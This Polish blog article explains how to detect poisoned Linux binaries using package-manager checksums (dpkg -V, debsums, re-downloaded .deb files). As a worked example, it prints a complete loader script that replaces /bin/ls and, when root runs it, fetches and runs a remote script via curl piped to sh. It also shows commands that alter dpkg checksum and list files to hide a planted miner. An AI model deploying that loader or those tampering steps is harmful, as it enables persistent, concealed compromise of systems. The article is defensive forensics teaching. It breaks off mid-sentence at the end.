Wykrywanie zatrutych plików binarnych w Linuksie
Napisał: Patryk Krawaczyński
09/01/2022 w Bezpieczeństwo 1 komentarz. (artykuł nr 807, ilość słów: 1931)
Z
atruwanie plików binarnych w Linuksie jest procesem, w którym atakujący podmienia często używane (dystrybucyjnie pre-instalowane) programy i narzędzia swoimi wersjami, które spełniają te same funkcje, ale dodatkowo wykonują złośliwe akcje. Może to być zastąpienie pliku nowym, zaprojektowanym tak, aby zachowywał się jak stare polecenie lub zmanipulowanie istniejącego (np. dopisanie na końcu instrukcji), aby bezpośrednio uruchamiało złośliwy kod. Próbkę tego procesu mogliśmy zobaczyć w ściągawce z informatyki śledczej w wykrywaniu włamań za pomocą linii poleceń Linuksa. Dzisiaj ją nieco rozwiniemy.
Zatruwanie binarek:
Zatrucie plików binarnych może zostać rozpoznane na dwa sposoby. Za pomocą tzw. IoC, czyli wskaźników kompromitacji, które opisują szkodliwe oprogramowanie według wielu metadanych np. wartością skrótu SHA / MD5 plików, nazwą pliku / procesu, jego unikalną zawartością, komunikacją sieciową z wybraną domeną / adresem IP itd. – i to ich możemy szukać na bieżąco w naszych systemach. Jeśli takowych nie posiadamy lub chcemy wykrywać podejrzane procesy możemy posłużyć się wbudowanymi poleceniami systemu w celu znalezienia plików nie pasujących do tych, które zaklasyfikował sobie menedżer pakietów. Dlaczego to ma duże znaczenie przy bezpieczeństwie? Cóż – wyobraźmy sobie sytuację, że (według nas) wyczyściliśmy system z szkodliwego oprogramowania, ale jeśli będziemy nadal w nim posiadali zatrute polecenie, a niczego niepodejrzewający administrator je uruchomi – to kod ten wykona się z najwyższymi prawami w systemie i dokona ponownej infekcji systemu. Za przykład może posłużyć nam zatrucie najczęściej używanego polecenia w Linuksie, czyli: ls
. Podczas pierwszej infekcji systemu został zatruty plik /bin/ls
skryptem loader.sh:
#!/usr/bin/env bash file /bin/ls | grep shell &> /dev/null && exit 0 mkdir -p /bin/.bin mv /bin/ls /bin/.bin/ tee /bin/ls > /dev/null <<'SH' #!/usr/bin/env bash ROOTUID="0" if [ "$(id -u)" -ne "$ROOTUID" ]; then /bin/.bin/ls "$@" else if [ -f /tmp/.infected ]; then /bin/.bin/ls "$@" else /bin/.bin/ls "$@" (curl -ss https://c2c.io/malware.sh | sh &> /dev/null) &> /dev/null & disown fi fi SH chmod +x /bin/ls
Przyjrzyjmy się, co się tutaj dzieje:
- Skrypt loader.sh sprawdza, czy czasami już plik
/bin/ls
nie jest skryptem. Jeśli tak to wychodzi i nie zatruwa ponownie polecenials
. - Jeśli plik /bin/ls jest jednak innym obiektem niż skrypt – to tworzy “ukryty” katalog
.bin
w ścieżce/bin/
i do niego przesuwa oryginalny plik binarnyls
, aby móc go wykonywać jako typowe polecenie i zachować przy tym pozory normalnej pracy systemu. - Kolejnym krokiem jest “wyplucie” z siebie zatrutego pliku
/bin/ls
, który będzie się odwoływał zawsze do oryginalnego polecenia ls. Ale jeśli zostanie uruchomiony z prawami administratora i nie znajdzie artefaktu pozytywnej infekcji (plik:/tmp/.infected
) to ponownie ściągnie i uruchomi skryptmalware.sh
w celu rozpoczęcia całego procesu od nowa. - Ostatni krok nadaje uprawnienia wykonywania dla wszystkich użytkowników do
/bin/ls
.
Koniec końców za każdym razem, gdy polecenie ls zostanie wykonane w odpowiednich warunkach uruchomią się też złośliwe polecenia. Oczywiście nie musimy nawet używać ls. Moglibyśmy wybrać inne częste polecenie np. ssh lub passwd, aby przechwycić hasła i pomóc sobie w uzyskaniu dostępu do innych hostów podczas normalnej aktywności. Sposobów na urozmaicenie tego procesu jest wiele.
Szukanie złego:
Znalezienie zatrutych poleceń może być bardzo czasochłonne, jeśli byśmy chcieli to robić ręcznie. Na przykład w dystrybucji Linuksa Ubuntu w katalogach /bin
i /sbin
jest lekko ponad 400+ poleceń. Jeśli dorzucimy do tego katalogi /usr/bin
i /usr/sbin
to już łapiemy pułap ponad tysiąca poleceń. Dlatego pierwszą rzeczą, którą należy spróbować jest uruchomienie weryfikacji pakietów, aby przyspieszyć ten proces. Większość dystrybucji Linuksa zawiera teraz menedżery pakietów. Jest to ogromny krok naprzód w stosunku do dawnych czasów kiedy musiało się ręcznie pobierać kod źródłowy oprogramowania, budować go i samodzielnie radzić sobie z zależnościami bibliotek innych firm. Aktualnie większość głównych dystrybucji używa menedżerów pakietów opartych o RPM lub DPKG, ale istnieje również kilka innych formatów pakietów.
Jedną z często pomijanych funkcji, którą zawiera większość menedżerów pakietów jest wyciąg sum kontrolnych dla każdego z plików zawartych w danym pakiecie. Dane te mogą posłużyć do weryfikacji integralności systemów. Ich przydatność dobrze wpisuje się w scenariusze:
- Jeśli plik binarny znajdujący się w ścieżkach globalnych określonych zmienną
$PATH
(/bin, /sbin, /usr/bin, /usr/sbin itd.) ma inny skrót niż ten, który został dostarczony przez jego pakiet. - Jeśli hasz biblioteki różni się od tego, który został dostarczony przez pakiet.
- Jeśli pliki konfiguracyjne różnią się od tych dostarczonych przez pakiet, a nie powinny ulec modyfikacji.
- Jeśli plik binarny lub biblioteka nie została dostarczona przez pakiet, ale znajduje się w ścieżce systemowej.
Podejrzewamy, że gdzieś w systemie znajduje się zatruty plik binarny. Może to być netstat, aby ukryć połączenia sieciowe lub ps, aby ukryć listę procesów, czy w/w przykład ls. Możemy zweryfikować swoje podejrzenia, jeśli znamy nazwę pakietu. Jeśli nie możemy skorzystać z polecenia: dpkg -S lub wyszukiwarki pakietów:
root@darkstar:~# dpkg -S /bin/ls coreutils: /bin/ls root@darkstar:~# dpkg -S /bin/netstat net-tools: /bin/netstat root@darkstar:~# dpkg -S /bin/ps procps: /bin/ps
Posiadając nazwy pakietów, które dostarczyły wskazane pliki możemy odpytać bazę menedżera pakietów o zgodność:
root@darkstar:~# dpkg -V net-tools root@darkstar:~# dpkg -V procps ??5?????? /bin/ps root@darkstar:~# dpkg -V coreutils ??5?????? /bin/ls
Dla pakietu net-tools nie zostały wykryte żadne zmiany, ale już dla procps i coreutils wykryto inną sumę kontrolną (kolumna ??5??????
). Wyjaśnienie pól w tej kolumnie można znaleźć na stronie podręcznika polecenia dpkg
:
The only currently supported output format is rpm, which consists of a line for every path that failed any check. The lines start with 9 characters to report each specific check result, a ‘?’ implies the check could not be done (lack of support, file permissions, etc), ‘.’ implies the check passed, and an alphanumeric character implies a specific check failed; the md5sum verification failure (the file contents have changed) is denoted with a ‘5’ on the third character. The line is followed by a space and an attribute character (currently ‘c’ for conffiles), another space and the pathname.
Wszystkie paczki w systemie można zweryfikować jednolinijkowcem:
for pkg in $(dpkg -l | grep ^ii | awk {'print $2'}); do dpkg -V $pkg; done
Innym narzędziem, którym można przeprowadzić walidację wszystkich pakietów za pomocą jednego prostego polecenia to:
# Zweryfikuj zainstalowane pakiety (+ pliki konfiguracyjne) debsums -a # Zweryfikuj zainstalowane pakiety i zgłoś tylko błędy debsums -s # Zweryfikuj zainstalowane pakiety i zgłoś tylko zmienione pliki debsums -c # Zweryfikuj zainstalowane pakiety (+ pliki konfiguracyjne) i zgłoś tylko zmienione błędy debsums -ca # Zweryfikuj zainstalowane pakiety i zgłoś tylko zmienione pliki konfiguracyjne debsums -ce
Należy mieć świadomość, że debsums jest przodkiem dpkg -V i dlatego jest w większości przestarzały. Cierpi na te same ograniczenia co dpkg. Na szczęście niektóre ograniczenia można obejść (podczas, gdy dpkg nie oferuje podobnych hacków). Ponieważ po kompromitacji systemu nie można ufać danym na dysku (ktoś lub skrypt może podmienić sumę kontrolą), debsums oferuje przeprowadzenie kontroli w oparciu o pliki .deb zamiast polegać na bazie danych dpkg znajdującej się w plikach /var/lib/dpkg/info/*.md5sums
. Ich format jest prosty, jeśli spojrzymy na którykolwiek z tych plików:
root@darkstar:~# cat /var/lib/dpkg/info/procps.md5sums 9cd3e0467b502c9b675a52346a91af6d bin/kill 558edc26f8a38fa9788220b9af8a73e7 bin/ps 901008ec3cc76ac010e0d9538e55c0db usr/bin/minerd ... ciach ... root@darkstar:~# cat /var/lib/dpkg/info/procps.list /bin/kill /bin/ps /usr/bin/minerd ... ciach ... root@darkstar:~# cat /var/lib/dpkg/info/coreutils.md5sums 518882eba51b05a15463e639892dda37 bin/echo 2a0575d3c20962b2ef3844b2192ffe4e bin/false efc6bf4d455ffa73ab6e5aaef52c7b64 bin/ln ebc3d2b02f9ef9e8f2a7d39c170e8b57 bin/ls ... ciach ...
Pliki te mogą zostać z łatwością zmodyfikowane przez atakującego. Na przykład w ostatniej sekcji /usr/bin/minerd
nie został dostarczony przez żaden pakiet, a suma narzędzia ls została zmodyfikowana. Tak narzędzia reagują na weryfikację bez ingerencji w bazę spisu i skrótów plików pochodzących z pakietów:
# find /usr/bin/ \! -type l -exec dpkg -S {} \; 2>&1 | grep "no path found matching" dpkg-query: no path found matching pattern /usr/bin/minerd # dpkg -V coreutils ??5?????? /bin/ls
Przeprowadzamy kompromitację integralności:
# cd /; echo `md5sum usr/bin/minerd` >> /var/lib/dpkg/info/procps.md5sums # echo /usr/bin/minerd >> /var/lib/dpkg/info/procps.list # cd /var/lib/dpkg/info/ # sed -i 's/.*bin\/ls$/ebc3d2b02f9ef9e8f2a7d39c170e8b57 bin\/ls/g' coreutils.md5sums
Sprawdzamy, jak teraz narzędzia widzą szkodliwe pliki:
# dpkg -S /usr/bin/minerd procps: /usr/bin/minerd # dpkg -V procps # dpkg -V coreutils
Jeśli podejrzewamy, że pliki .list oraz .md5sums zostały zmodyfikowane musimy pobrać zaufane pliki .deb wszystkich zainstalowanych pakietów polegając na uwierzytelnionych plikach repozytoriów przez menedżer APT. Ta operacja może być powolna i żmudna, dlatego nie powinna być uważana za technikę proaktywną, którą należy stosować regularnie na serwerach, a raczej w przypadkach głębszej analizy incydentu:
apt-get clean all apt-get update cd /var/cache/apt/ chown _apt:root archives cd archives for f in $(dpkg-query --show | sed 's/\s/=/g'); do apt-get download $f; done cd .. chown root:root archives cd archives
Po ściągnięciu wszystkich pakietów możemy uruchomić narzędzie debsums, które będzie ignorowało pliki sum na dysku i użyje tych dostarczonych w pakietach deb:
root@stardust:/var/cache/apt/archives# debsums -a -s --generate=all debsums: changed file /bin/ls (from coreutils package)
Jak widzimy znaleźliśmy nasz pierwszy artefakt, czyli zmodyfikowany plik ls, którego suma kontrola została zmodyfikowana w /var/lib/dpkg/info/coreutils.md5sums
, tak aby polecenie: dpkg -V coreutils nie wykazało żadnych zmian. Jak teraz znaleźć dopisany plik minerd? Najprościej spojrzeć na daty ostatnich modyfikacji plików (chociaż do nich też należy podchodzić z dystansem):
ls -lt --time-style="long-iso" /var/lib/dpkg/info/{*.list,*.md5sums} | head
-rw-r--r-- 1 root root 2639 2022-01-08 16:30 /var/lib/dpkg/info/procps.md5sums -rw-r--r-- 1 root root 2096 2022-01-08 16:29 /var/lib/dpkg/info/procps.list -rw-r--r-- 1 root root 1245 2022-01-08 16:29 /var/lib/dpkg/info/coreutils.md5sums ... ciach ...
Daty te możemy porównać z datami, na których zostały zaraportowane operacje (instalacja / aktualizacja) na tych pakietach:
for x in $(ls -1t /var/log/dpkg.log*); do zcat -f $x | tac \ | grep -e " install " -e " upgrade "; done | \ awk -F ":a" '{print $1 " :a" $2}' | column -t | egrep '(procps|coreutils)'
zgrep -A4 '2022-01-08' /var/log/apt/history.log* | egrep '(procps|cureutils)'
Jeśli polecenia te nie zwracają żadnych wyników lub daty operacji z nimi związane są zupełnie inne niż modyfikacji plików istnieje bardzo dużo prawdopodobieństwo, że wskazane pliki zostały specjalnie zmodyfikowane. Podobnie jak w przypadku polecenia debsums, możemy te informacje wyciągnąć z pakietów .deb:
# mkdir /tmp/{procps,coreutils} # cp procps_2%3a3.3.12-3ubuntu1.2_amd64.deb /tmp/procps # cp coreutils_8.28-1ubuntu1_amd64.deb /tmp/coreutils # cd /tmp/procps/; ar x procps_2%3a3.3.12-3ubuntu1.2_amd64.deb # tar -xf control.tar.xz # diff md5sums /var/lib/dpkg/info/procps.md5sums 44a45 > 901008ec3cc76ac010e0d9538e55c0db usr/bin/minerd # cd /tmp/coreutils/; ar x coreutils_8.28-1ubuntu1_amd64.deb # tar -xf control.tar.xz # diff md5sums /var/lib/dpkg/info/coreutils.md5sums 13c13 < 931606baaa7a2b4ef61198406f8fc3f4 bin/ls --- > ebc3d2b02f9ef9e8f2a7d39c170e8b57 bin/ls
Różnica w plikach wskazuje na ścieżkę /usr/bin/minerd, co pokrywa się z przeprowadzoną przez nas kompromitacją. Bardziej czasochłonnym procesem może być zgranie wszystkich plików .list oraz .md5sums na czysty system; zainstalowanie na nim identycznych pakietów i porównanie między sobą tych plików. Należy pamiętać, że jeśli system został naruszony to również debsums i inne narzędzia, których używaliśmy do detekcji mogą zostać zmodyfikowane w celu ukrycia jakichkolwiek zmian. Wiarygodna weryfikacja systemu jest możliwa tylko wtedy, gdy wykonujemy ją z zaufanej instalacji np. LiveCD, czy wirtualnej maszyny z podmontowanym obrazem dysku zainfekowanej maszyny. W powyższych przykładach wszystkie polecenia były wykonywane lokalnie wyłącznie w celach demonstracyjnych live forensic.
Bonus:
Zatruwanie plików binarnych to klasyczny przypadek uśpionego ataku. Znacznie się różni od aktywnego działania złośliwych procesów na systemach. Uśpione furtki dające możliwość dostępu lub ponownej infekcji leżą na hostach jak pułapki czekające na wybuch. Często są niezauważone, ponieważ nie robią nic podejrzanego do czasu ich wyzwolenia. Jeśli mamy wytypowane polecenie, które zostało zatrute i chcemy dokonać szybkiej analizy to spoglądajmy na nie zawsze z poziomu “edytora teksu” np. strings, less itd., aby zobaczyć czy coś ciekawego uda nam się odczytać. Nie uruchamiajmy strace i podobnych poleceń śledzących na żadnym pliku, który naszym zdaniem może być złośliwy – ponieważ wtedy zostanie uruchomiony szkodliwy plik wykonywalny na hoście, co jest naprawdę złym pomysłem. Analogicznie nigdy nie powinniśmy pozwalać dalej działać raz zainfekowanej maszynie, nawet po przeprowadzeniu jej pełnej analizy i byciu przekonanym o jej pełnym wyczyszczeniu z szkodliwego oprogramowania. Proces ten powinien zawsze zakończyć się reinstalacją systemu.
Więcej informacji: DFSP # 304 – Detecting File Poisoning on Linux, Detecting Linux Binary File Poisoning, Praktyczna analiza powłamaniowa: Aplikacja webowa w środowisku Linux, How to list files and folders that are not maintained by any DEB package, Finding Bad With Package Managers
Dla systemów z rodziny RedHat polecenia wyglądają podobnie: